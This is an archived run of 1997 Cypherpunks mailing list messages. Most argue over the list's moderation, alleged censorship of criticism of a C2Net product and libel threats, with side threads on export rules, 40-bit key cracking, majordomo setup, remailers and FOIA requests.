>Stronghold. Be that as it may, it is not proper for a censor employed by the
>seller of a product to decide that criticisms of his product are flamish. Would
>the list have countenanced censorship of criticisms of an RSADSI product if the
>list were being censored by an employee of RSADSI? And by letting Vulis make
>such a claim, and then having it quickly rebutted by other employees of C2Net,
>for example, Vulis would be shown to be spreading disinformation and his
>reputation capital would decline still further.

I had posted to the list earlier about the problem of moderation & reputation
capital.

I beleive that the moderation of a group has a negitive affect on building a
reputation based system within the group.

If all the spam & flames are filtered out from the list and we only see the
"good" side of the posters then they will tend to gain greater reputation
capital then they deserve.

I do find the accusation that Sandy blocked the posting of a message critizing
the company he works for rather troubling. Though there are several
possibilities:

1 - It is just more FUD.

2 - Snafu. As I am sure everyone here is aware of that this happend more often
    than not with computer system.

3 - It's true. This would be realy sad and probably do irreparable harm to
    Sandy's reputation.

I hope that it is #1 or #2 if it is #3 I doubt that I will stay any longer on
the cypherpunks list. :(




- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I smashed a Window and saw... OS/2.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 0000000

iQCVAwUBMvvFdI9Co1n+aLhhAQFiMAP/ayWg1hO7tBJz/CgQriPcRcKuDSLwzv+4
zZ7qJ+tcx3ULoubEBfBZ1q1+PfJ41Ka4668I1n5d8sOVt9Xw2iBY3F+46cpwZDDh
1Uz3Ybyw3giOPNQzxpw44/LmOz9RxPYUPERUDAxSfmgs4SG3845AXUCjRWaoiHbN
5c1iYu96OwQ=
=Gjv3
-----END PGP SIGNATURE-----
 
Tag-O-Matic: Windows?  WINDOWS?!?  Hahahahahehehehehohohoho...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 7 Feb 1997 10:29:56 -0800 (PST)
To: cypherpunks <antimod@nym.alias.net>
Subject: Re: Which list am I on?
In-Reply-To: <19970207093042.7371.qmail@anon.lcs.mit.edu>
Message-ID: <199702071829.LAA19644@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    antimod (nym):

    no way to tell what list your receiving from; the software Sandy 
    and John installed to facilitate their un-American activities is 
    hosed.  in most cases it fails to apply the correct sender name,
    defaulting to the main, supposedly censored list.

        -attila

on or about 970207:0930 Against Moderation <antimod@nym.alias.net> said:

+I thought I was on the cypherpunks edited list.  However, I appear to
+have seen some of the messages that Tim says got lost.  Moreover, I
+keep getting ASCII art messages flaming someone with the initials DLV
+(though I haven't seen any more of the TCM flames [I haven't looked too
+hard, either]).  My mail headers have:

+>From cypherpunks-errors@toad.com  <date>
+>Sender: owner-cypherpunks@toad.com

+Now I'm really confused.  Which list am I on?


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMvt0Tb04kQrCC2kFAQHU3wP+IJE5n2Ypp6WLgxIHX1u0YfFah6fNP+Pz
UmToaW0C+mVZLM9S7VpBjwhiyqFCWWpZMbrqAnpkU9/yGCnHnhfjZ1P8I9SZZc0n
FmcomIS5BwcDC+Zd+5t4YeOOhqHZPDlqKMsZ/UuKfOeQainfedlvTmNJI2fIqTsy
t9jLSuDKWEE=
=s+Wc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 7 Feb 1997 18:28:55 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product?
In-Reply-To: <v03007804af2160f848b5@[207.167.93.63]>
Message-ID: <32FBE498.B89@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 10:07 PM +0000 2/7/97, Against Moderation wrote:
> >Okay, I went through my old mail, and I'm fairly sure this is the
> >message.  I'm convinced it never went to the flames list, and now that
> >I've found out I'm on the -unedited list after all, I think it
> >probably didn't go to the regular cypherpunks list either.  Can people
> >on the various lists confirm this for me?

> >A lot of people out there are subscribing to the cypherpunks-flames
> >and cypherpunks lists thinking that they will see everything that gets
> >rejected (albeit with a substantial delay).  If this is not the case,
> >it should be made clear.  Otherwise, it's not moderation, but
> >dishonesty.

Normally I'd address just the list, but in this case I'm sure you'll
understand.  Check the archives of Sandy's moderation announcements,
and I believe you'll see where he claimed that although *all* messages
would make it to the -unedited list, he admitted that some of those
would not make it to either the -edited or -flames lists, due to the
anomalies of hand-editing.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hanabusa@bnn-net.or.jp (Sh.Hanabusa)
Date: Fri, 7 Feb 1997 18:39:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dear Cypherpunks /from NHK Clew
Message-ID: <199702080238.LAA26138@Postbox.BNN-Net.OR.JP>
MIME-Version: 1.0
Content-Type: text/plain


Dear Cypherpunks,

We are a film crew from NHK, Japanese Public Television (Japan's largest
TV network). As you may have all seen the announcement posting, we would
 like to attend tomorrow's CP physical meeting for filming.

We consider the "Crypto War" you are all fighting, not only a U.S domestic
issue. It is a historic process which would effect the basic order/system
of the global network society for the 21st century.

In the midst of the ongoing changes of the idea of how a nation, a corporation
and an individual ought to be, we would like to portray your assertions and
proposals through the discussions of tomorrow's CP meeting, demonstrations,
speeches and booings(just kidding..).

We assure you all that we will do our best not be of your distractions.
(I know you won't, but) I hope you don't show up with a tie and a three
piece suit just because you'll be on TV...  ;-)

We look forward to the usual (or perhaps more than ever) Cypherpunkish
meeting tomorrow!


   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
     Shuichiro Hanabusa (hanabusa@bnn-net.or.jp)
     Producer/Special Programs 
     NHK Enterprises 21 Inc. 
     Location: San Mateo/Carifornia
   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 7 Feb 1997 19:07:31 -0800 (PST)
To: "Sh.Hanabusa" <hanabusa@bnn-net.or.jp>
Subject: Re: Dear Cypherpunks /from NHK Clew
In-Reply-To: <199702080238.LAA26138@Postbox.BNN-Net.OR.JP>
Message-ID: <32FBED8F.15FD@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


I'm sorry I can't drive the 500 miles to the meeting, but in Los
Angeles, the USA's #2 city, there are NO meetings.  Sad but true.
People in Los Angeles just don't comply with censorship as well
as those in the Bay Area, apparently.

Anyway, please don't base the whole story on what goes on at the
meeting, since the people who show up at the meeting are the ones
who most agree with John and Sandy.  Do you know what I mean?

There's an assumption in the USA, which even the cypherpunks share,
that the rogue elements of the government are to be considered
"innocent until proven guilty", even after the fact when they are
caught and never prosecuted.  Someday, when we have enough research
data on this current series of events, we will be able to expose the
money trail which demonstrates the motivations of the "list" owners.
In the meantime, I trust you'll not be taken in by the sweet-talk
you'll get in San Francisco.

Sh.Hanabusa wrote:
> We are a film crew from NHK, Japanese Public Television (Japan's largest
> TV network). As you may have all seen the announcement posting, we would
>  like to attend tomorrow's CP physical meeting for filming.
> We consider the "Crypto War" you are all fighting, not only a U.S domestic
> issue. It is a historic process which would effect the basic order/system
> of the global network society for the 21st century.
> In the midst of the ongoing changes of the idea of how a nation, a corporation
> and an individual ought to be, we would like to portray your assertions and
> proposals through the discussions of tomorrow's CP meeting, demonstrations,
> speeches and booings(just kidding..).
> We assure you all that we will do our best not be of your distractions.
> (I know you won't, but) I hope you don't show up with a tie and a three
> piece suit just because you'll be on TV...  ;-)
> We look forward to the usual (or perhaps more than ever) Cypherpunkish
> meeting tomorrow!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 7 Feb 1997 19:11:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ANNOUNCEMENT] Hash functions
Message-ID: <199702080311.TAA26235@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. Mayo's reheated, refurbished, and regurgitated 
cud is completely inappropriate for the mailing lists into 
which it is cross-ruminated.

        o      o o o   o
       /~>    <><><>   <> Timothy C. Mayo
    o...(\    ||||||   ||





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 7 Feb 1997 17:17:26 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Sandy suppresses truth about his moderation policy
Message-ID: <199702080114.TAA06881@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Below are some interesting facts implying that:

1) Sandy uses a bot to reject articles of people he does not like
2) When I exposed him with an article showing all Received: dates, 
he
	a) rejected the article exposing him
and
	b) changed his moderation software so that Received: headers
	   for the cypherpunks-flames do not show the times when 
	   messages came in

3) Sandy apologized to Tim May for rejecting one of Vulis's articles, and
yet he rejects my message quoting same article. I question how genuine were
his apologies to Tim.

At this point, I have enough data to conclude that 

	* Sandy is not a good moderator
	* Sandy does not have the interests of his readership in his mind
	* Sandy should not be trusted

At this point, two events are likely to happen: either moderation ceases,
or Sandy and John will pull the plug on the unedited and flames list.

	- Igor.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Note that there are no more incoming Received: lines in the message
that went to flames, BUT yesterday the received lines were there.
Note also that my address (From: line) has been rewritten in such
a way that my name disappeared. I believe that the latter is due to
a sloppy perl script that got screwed up by presence of "@" character
in my name.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Received: (from geek@localhost) by manifold.algebra.com (8.8.3/8.8.2) id SAA06751 for ichudov; Fri, 7 Feb 1997 18:57:04 -0600
Received: (from root@localhost) by manifold.algebra.com (8.8.3/8.8.2) with UUCP id JAA03038 for geek+test+cypherpunks-flames@algebra.com; Fri, 7 Feb 1997 09:12:23 -0600
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Message-Id: <199702071511.HAA24873@toad.com>
Date: Fri, 7 Feb 1997 01:34:36 -0600 (CST)
From: ichudov@algebra.com
To: Cypherpunks <cypherpunks@toad.com>, tcmay@got.net
Subject: Re: anonymous remailers
Sender: geek@algebra.com
Precedence: bulk
Status: RO

[I am sending a copy of my article to Tim just to make sure]

Sandy Sandfort wrote:
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Thu, 6 Feb 1997, Timothy C. May wrote:
> 
> > Why was this message (attached below) sent to the "Flames" list? (*) It
> > contains an assertion that the remailer operators are colluding to reveal
> > identities, and this is surely a fit topic for discussion.
> > 
> > (* I have temporarily subscribed to the Flames list to see just what it is
> > being filtered or censored by Sandy. I received this message, and it had
> > the header "Sender: owner-cypherpunks-unedited@toad.com," thus I surmise it
> > is a "Flames" message. It would help, by the way, if messages were more
> > clearly labelled by the Moderator as to which bucket he placed them in.)
> 
> Currently, there are three lists.  It looks as though the message
> in question appeared on the Unedited list.  This is NOT the same
> as the Flames list.  
>  
> I don't recall where I sorted that particular post to after I
> read it on the Unedited list.  If it went to the "wrong" list,
> my apologies to the author.  As I indicated before, I don't think

I am attaching Vulis's posting below, so that the mistake could be
corrected.

Judging by the dates in the headers, it went to flames list in
3 seconds after arrival to toad.com.

That makes me think that somehow it got routed there without human
involvement.

> a 100% solution is possible, but I think I'm running in the high
> 90s under the criteria I enunciated.  Not perfection, but a 
> definite improvement over the prior condition.

I see three problems with the current state of the list: 

	1) There is no charter and no criteria that I am aware of, so 
	   your 90% statement is meaningless
	2) Moderation policy has not been set (or voted upon) by the readers,
	   therefore it was not optimised to serve the readers
	3) Crypto-relevant posts, not containing any flames, get
	   rejected.

>From cypherpunks-errors@toad.com  Thu Feb  6 22:20:35 1997
Return-Path: <cypherpunks-errors@toad.com>
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	via UUCP; Thu, 06 Feb 97 22:24:48 EST
	for cypherpunks@toad.com
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Message-Id: <iJkq2D46w165w@bwalk.dm.com>
Date: Thu, 06 Feb 97 22:22:05 EST
In-Reply-To: <32fa39d8.16371604@mail-relay.internetmci.com>
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Sender: owner-cypherpunks@toad.com
Precedence: bulk
Status: RO

c.musselman@internetmci.com (Charley Musselman) writes:

> C'punks --
> 	When I told a friend about the alt.drugs.pot cultivation newsgroup
> and suggested that he use an anonymous remailer to post to the group,
> he laughed and said, "Who do you suppose runs the remailers?  ATF,
> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> anyone know the answer?  Specifically, how can we choose a trusted
> remailer?

Even if the feds are not directtly involved, the so-called "cypher punk"
remailers are run by people who should not be trusted.  Check out their
remailer-operators list: it's full of announcements that some specific
person posted something via the remailer that the operator didn't like.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 17:06:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: BXA Encryption Regs
Message-ID: <1.5.4.32.19970208010019.0068b980@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Federal Register: February 7, 1997, Page 5797-5798:

Bureau of Export Administration
 
Sensors and Instrumentation Technical Advisory Committee; 
Partially Closed Meeting

A meeting will be held March 4, 1997, 9 a.m., in the Herbert C. Hoover 
Building, Room 1617M-2, 14th Street between Constitution and 
Pennsylvania Avenues, N.W., Washington, DC.

Agenda, General Session

    1. Opening remarks by the Chairman.
    2. Report on the status of The Wassenaar Arrangement.
    3. Discussion on the Encryption Reg.
    4. Presentation of papers or comments by the public.

----------

A bit more on this in the full notice at: 

   http://jya.com/bxa020797.txt

----------

Note: February 13 is the cutoff for comments on EAR for EI:

   http://jya.com/bxa123096.txt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 7 Feb 1997 20:18:14 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: 40-bit RC5 crack meaningless??
In-Reply-To: <199702071513.HAA24904@toad.com>
Message-ID: <3.0.1.32.19970207200944.005c0ac0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:37 AM 2/7/97 -0500, Vin McLellan wrote:
>	Now, an international institution which buys and bets the bank upon
>US-exportable (40-bit) cryptography probably deserves what it has bought:
> [...] even 56-bit keys -- whatever the algorithm! -- offer only "minimal"
security.
>(What Goldberg did in hours, many could do in a days or weeks with much
>less equipment.  

You don't bet the bank on 40-bit crypto, unless you're, ummm, accepting 
credit cards over wimp-configured sessions of SSL.  (You, as merchant,
may not lose if there's a forgery, and your customer's loss may be limited
to $50,
but the bank's loss isn't limited except by how fast they can block thieves.)

While banks get Extra Slack on crypto exports, and can use 56-bit DES,
they've got more serious adversaries - building a $1M machine to win a $1000
contest is a bit expensive for the average grad student, but it's a 
perfectly reasonable investment if you're planning to rob banks of
millions of dollars with it, especially if you think you can either
siphon the money off slowly while hitting a lot of banks or else
make a really big haul all at once.  

Banks aren't the only kind of company with big money floating around;
stockbrokers, commodities traders, purchasing departments of big companies
that might not notice that they're buying a few percent more parts,
and all sorts of other large companies are targets for crypto-cracking
thieves.
Because well-funded thieves can do this kind of financial damage,
we have a legitimate-sounding spin on "Federal law enforcement's job includes 
preventing large-scale theft, and they're letting their political agenda
get in the way of doing their job.  Sure, 56-bit keys are harder to crack
than 40,
but well-funded crackers could use the same techniques Ian did."

Either method of theft requires being non-stupid enough not to get caught
afterwards 
(like the $(24?)M computerized bank job last year), and having your
"partners" 
not rip you off; a big heist also risks detection by tracking chip
purchases, and
provoking the Feds into banning "ASIC Laundering" and criminalizing 
illegal possesion of field-programmable gate arrays and such paranoid
silliness.

..>> the same Strassmann 
Yeah, him :-)

>	(It was a usefully overheated hook for some article on compsec, but
>I don't think I ever used it.  Reminded me too much of warnings that
>someone was bound to someday taint the city water reservoir with LSD;-)
But we _were_ planning to enhance the water that way, back in the 60s! :-)




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 13 Feb 1997 08:50:11 -0800 (PST)
To: ichudov@algebra.com
Subject: distributed mailing list architecture
In-Reply-To: <199702130606.AAA17590@manifold.algebra.com>
Message-ID: <199702072011.UAA00463@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com> writes:
> I'd suggest a simplier solution: to connect each server with a couple,
> or maybe three, other servers. This scheme is rather robust, does not
> consume too much CPU time and bandwidth, and is easy to implement.

I'm not sure what the architecture you are suggesting is, but this is
what I suggest as the simplest to set up.

Have one main majordomo.

Have many mail-exploders.

You subscribe to the main majordomo request address, and it forwards
your subscription request to a random mail-exploder.

You unsubscribe to the main majordomo request address, and it forwards
your subscription to all the mail-exploders request addresses
(unsubscribe traffic is low anyway, keeping track of who is subscribed
where at the main major domo doesn't seem worth it).

Each person who wishes to run an exploder is subscribed (manually) to
the main majordomo.

You submit articles to the main majordomo, and it sends copies of the
articles to it's subscribers (the mail-exploders).

The mail-exploders send mail to the address on their subscriber lists.

(John Gilmore suggested this architecture, as a simpler alternative).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 13 Feb 1997 08:50:05 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: How to make majordomo request confirmations of subscriptions?
In-Reply-To: <199702130324.VAA12219@manifold.algebra.com>
Message-ID: <199702072018.UAA00465@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com>
> I would like to set up my majordomo to request subscription
> confirmations from users, by sending them a cookie. Looking at the
> majordomo config files, I have not found such option.
> 
> Ideally I would like to have a system that a) requires the
> new users confirm new subscriptions and b) once in a while
> asks users to confirm their existing subscriptions.
> 
> Is there any way to do it?

Perry Metzger <perry@piermont.com> does this for cryptography@c2.net.
I asked him what modifications to majordomo he used, and he said he
has no mods.  I think that you just need to upgrade to the latest
version.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Otto Matic" <ott0matic@hotmail.com>
Date: Fri, 7 Feb 1997 20:27:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: What else do I need for an Internet Server
Message-ID: <199702080427.UAA04975@f29.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


What else do I need for an internet server?

HP Vectra Towers 2 each 486 cyrex chips 50 meg processor  Need high
speed hard drives.  These are the Tall Towers that have multiple 
drives, these are server towers.

I think I have a router Hub.  And a couple LAN cards.

That's all I have.  But I just got them, and I want to use them.  I assume I
will be using some kind of UNIX software.

Thanks:


otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 7 Feb 1997 18:00:32 -0800 (PST)
To: mpd@netcom.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <01IF5CJ0Z2MO9AN53S@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"mpd@netcom.com"  "Mike Duvos"  7-FEB-1997 20:56:39.36

>That's all very nice, but I should point out that I have not yet
>seen my message to which you are responding on the filtered list. 

>Others mileage may vary. 

	IIRC, Majordomo sends out messages _approximately_ in the order
of the person's subscription. In any event, it has to send them out in _some_
order, and on a mailing list as large as cypherpunks, it's going to take a
while to get from one end to the other.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: action@answerme.com
Date: Fri, 7 Feb 1997 21:11:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: ** THE 30 SECOND COMMUTE **
Message-ID: <199702080511.VAA09794@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,
Date: Fri, 7 Feb 1997 23:15:29 -0600
Message-Id: <05152934600809@sitegen.net>




         WELCOME TO THE 30 SECOND COMMUTE...45, IF YOU GRAB SOME COFFEE!
        
 Let's take a trip back to 1950 and imagine that my name is Ray Crock and I want to tell 
 you about a little restaurant named McDonald's.  If you had bought the stock that I was 
 selling then, you'd certainly be doing the 30 second commute now!! 
 Seriously, had you bought that stock then, it would've been the right decision.


 Fact is, it's 1997, I don't own McDonald's corporation and I'm not selling anything. 
 
 What I want to know is:

 1.  Would you spend 3 or 4 minutes a day to make $300 or $400 a week to spend on yourself 
     and family?
 2.  Would you trade $100 for $600 ?
 3.  If you got promoted to president of the company, would you accept?
 4.  Would you make the right decision now, if you had to?
 5.  Would you e-mail me to see how you can do the 30 second commute?

 mailto: action@answerme.com
 
 Matt Emerson
 Toll Free: 1 800-976-8608
 Fax:         602 641-3514
 InterNet Address: http://www.rb-dist.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Pearson <john@cognac.apana.org.au>
Date: Fri, 7 Feb 1997 10:37:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks FOIA request
In-Reply-To: <199702051526.HAA28782@toad.com>
Message-ID: <m0vsnkw-000JGWC@cognac.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain


> On 1/18/97, I sent freedom of information act requests to the FBI (main and
> San Francisco offices), CIA, NSA, and Secret Service, asking them for copies
> of information in their files relating to or referring to the cypherpunks
> list, the cypherpunks meetings, and copies of any messages sent from or to
> "cypherpunks@toad.com".

[...]

> I'm not sure what I think about the response from the SF FBI branch - it
> seems unlikely that they'd never have paid any attention to the list, given
> the media coverage in Wired and other places. On the other hand, maybe the
> FBI doesn't read Wired. :) While they're not supposed to be monitoring
> noncriminal domestic activity, I figured they'd at least have something about
> the Mykotronix stuff. 
> 

If you think so, you may wish to consider filing an FOIA request 
for the Mykotronix stuff, and see if it mentions cypherpunks; 
it could provide an interesting perspective on their response.

John P.
john@huiac.apana.org.au






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 7 Feb 1997 21:44:01 -0800 (PST)
To: bs-org@c2.net
Subject: Re: lead remailer is shut down
In-Reply-To: <199702080056.QAA05146@toad.com>
Message-ID: <3.0.1.32.19970207214237.00635e08@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Raph's remailer list is at
   http://www.cs.berkeley.edu/~raph/remailer-list.html
and indicates lots of different remailer features,
including whether they accept or require PGP,
and what reliability they've been getting recently.

The remailer that was shut down was the remailer named "lead";
you may have noticed that your reply went to a machine named "zinc".....

At 11:56 PM 2/7/97 +0100, you wrote:
>Can anybody give me the address of reliable remailer which accepts
>pgp messages.
>
>BTW which remailer was shut down and why?
>
>
>
>
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 21:37:26 -0800 (PST)
To: Against Moderation <cypherpunks@toad.com
Subject: Re: The Frightening Dangers of Moderation
In-Reply-To: <19970208043115.2364.qmail@anon.lcs.mit.edu>
Message-ID: <v03007809af21b7779b24@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:31 AM +0000 2/8/97, Against Moderation wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Well, folks, tonight I have witnessed the frightening dangers of
>moderation and censorship first-hand, and would like to tell you what
>has happened.  I think there is an important lesson to be learned from
>these incidents.

(long account of getting legal threats for quoting a message about CENSORED
elided)

This is indeed an important incident. I hope we can discuss it. Many issues
central to Cypherpunks are involved. To name a few:

* the moderation/censorship issue itself (though we have probably beaten
this one to death in the last few weeks).

* the "libel" issue, especially as it involves Sandy, his company, and the
machine the list is hosted from. The introduction of a censor has, as many
of us predicted, raised serious libel and liability issues. (This is the
best reason I can think of it to move to an "alt.cypherpunks" system, where
bypassing of liability, libel, copyright violation, etc.,  laws is
naturally handled by the globally decentralized and uncontrolled nature of
Usenet.)

* conflicts of interest issues. Apparently Sandy feels information
deleterious to C2Net, having to do with a claimed CENSORED in the software
product CENSORED, cannot be passed by him to _either_ of the two lists to
which articles are supposed to be sent. (Sadly, he did not tell us of this
meta-censorship when it happened. This made what he did deceptive as well
as wrong.)

* chilling of discussion. As "Against Moderation" notes, merely _quoting_
the article of another caused Sandy to not only reject his article, but
also to contact him and raise the threat of legal action. (This even though
Against Moderation added all sorts of "obviously false" comments to what
Vulis had written.)

* even more threats. At the request of CENSORED today, I called CENSORED
and had a verbal communication with him (a nice guy, by the way) about this
situation. He averred that "you don't want to be pulled into this," and
suggested that if I post certain things, even quoting the reports that a
CENSORED exists in CENSORED, I could well be sued by the lawyers of his
company!

These are issues which remailers, decentralized servers, anonymity, data
havens, and other Cypherpunks technologies make important issues for us to
discuss.


When did Cypherpunks start thinking about libel? (Obvious answer: when
_their_ companies were the targets of criticism, lies, libel, whatever.)
It's not as if insulting or even "libelous" (I'm not a lawyer) comments
have not been made routinely on the list. Insulting companies and other
institutions has been standard Cypherpunks fare since the beginning.
Mykotronx has been accused of high crimes, RSADSI has been declared to be
placing backdoors in code, Phil Zimmermann has been declared to be an NSA
plant ("only trust the versions of PGP before he cut the deal to get his
freedom"), and so on. Think about it. Just about any company with any
product related to crypto has at one time or another had their motives
questioned, their products slammed, etc.

Unfortunately, our Late Censor is an employee of one of the companies so
slammed, and he has reacted by rejecting one or more of these slams without
bothering to tell the list that he has to do so. (Were it me, I would have
"recused" myself from the decision, or at least told the list in general
terms what was going on, or, more likely, resigned as censor. But then I
would never have been a list.censor in the first place.)

I understand that Sandy is stepping down as our Moderator. The Censor is
Dead, Long Live Sandy! I expect to harbor no continuing resentment toward
Sandy (though I expect things will be strained for a while, as might be
expected).

The issues raised are ugly ones. Here's what scares me: the "precedent" may
irretrievably be established that companies offended by words on the list
will threaten legal action to recover their good name. I can imagine
Mykotronx or even First Virtual citing the actions of C2Net as a precedent
(a cultural precedent, to the extent there is such a thing) for their own
legal letters.

As with the terrible precedent set by the "even Cypherpunks had to censor
themselves" experiment, these companies may be able to say "But even a
Cypherpunk-oriented company realized that the antidote for damaging speech
was not rebutting speech. No, these Cypherpunks realized that some
threatening letters and pulling the plug on the speaker was a better
approach."

And we won't be able to easily argue that Mykotronx has no right to do this
while C2Net does.

Sandy, in his message a few hours ago to Against Moderation, even made the
claim (and Sandy _is_ a lawyer, or at least once was) that John Gilmore
could be held liable for speech on the Cypherpunks list. (I don't doubt the
"could," but I hate like hell to see a Cypherpunkish company leading the
charge.)

Perhaps this is true. But the Censorship experiment, and the resulting
threats of legal action by C2Net to stop mention of the alleged CENSORED in
their product CENSORED, fuel the fire. Instead of denigrating such legal
moves--as I'm sure most Cypherpunks would have done a few years ago if
RSADSI were to try to sue people for making outrageous claims--we have a
major company consisting of several leading Cypherpunks making just such
threats.

I'm not a legal scholar, but is it really the case that merely _alluding_
to the allegedly libelous comments of another is itself a libel? Is a
reporter who writes that "Person X has alleged that Product Y has a Flaw Z"
thus committing a libel? (I don't think so, as reporters frequently report
such things. If merely quoting an alleged libel is also libel, then
presumably a lot of reporters, and even court clerks reporting on cases,
are libelers.)

(ObLisp reference: quoting an expression ought to have a different return
value than evaluating an expression! That's what quotes are for.)

My comments this past week have not been motivated by animosity toward
Sandy, and certainly my comments today are not motivated by any animosity
about C2Net or any of its employees (including CENSORED, whom I spoke with
today).

My comments started out as being a summary of why I had left Cypherpunks
when the Great Hijacking was announced. Since last Sunday, when I issued my
"Moderation" post, I've only responded to messages I was CC:ed on, or to
messages on the Flames list, which I subscribed to temporarily to better
see what Sandy was calling flames. The discovery that certain posts were
not appearing on either the Main list or the Flames list triggered today's
comments about Sandy and the alleged CENSOREDCENSOREDCENSORED (blah blah
blah).

I hope we can declare this Censorship experiment a failure and move on.
However,  it is almost certain that as a result of attempts to suppress
